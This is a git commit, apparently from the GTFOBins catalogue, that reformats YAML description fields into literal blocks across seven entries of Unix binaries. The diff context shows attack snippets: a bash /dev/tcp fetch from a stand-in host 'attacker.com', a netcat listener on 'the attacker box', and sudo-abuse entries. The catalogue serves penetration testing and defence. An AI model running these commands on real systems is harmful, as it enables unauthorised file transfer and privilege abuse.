Fix YAML literal blocks

This commit is contained in:
Andrea Cardaci
2018-06-01 12:40:05 +02:00
parent b96f6e9a49
commit 5a1c87e7c5
8 changed files with 58 additions and 21 deletions

View File

@@ -29,7 +29,7 @@ functions:
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
code: |-
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get

View File

@@ -1,5 +1,7 @@
---
description: BusyBox may contain many UNIX utilities, run `busybox --list-full` to check what GTFBins binaries are supported. Here some example.
description: |
BusyBox may contain many UNIX utilities, run `busybox --list-full` to check
what GTFBins binaries are supported. Here some example.
functions:
execute-interactive:
- code: busybox sh

View File

@@ -1,6 +1,7 @@
---
description: |
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:
`ld.so` is the Linux dynamic linker/loader, its filename and location might
change across distributions. The proper path is can be obtained with:
```
$ strings /proc/self/exe | head -1

View File

@@ -1,5 +1,6 @@
---
description: The read file content is corrupted by being sorted.
description: |
The read file content is corrupted by being sorted.
functions:
sudo-enabled:
- code: |

View File

@@ -1,5 +1,6 @@
---
description: It can only append data if the destination exists.
description: |
It can only append data if the destination exists.
functions:
sudo-enabled:
- code: |

View File

@@ -1,5 +1,7 @@
---
description: The read file content is corrupted by replacing occurrences of `$'\b_'` to terminal sequences and by converting tabs to spaces.
description: |
The read file content is corrupted by replacing occurrences of `$'\b_'` to
terminal sequences and by converting tabs to spaces.
functions:
sudo-enabled:
- code: |

View File

@@ -1,5 +1,6 @@
---
description: The read file content is corrupted by squashing multiple adjacent lines.
description: |
The read file content is corrupted by squashing multiple adjacent lines.
functions:
sudo-enabled:
- code: |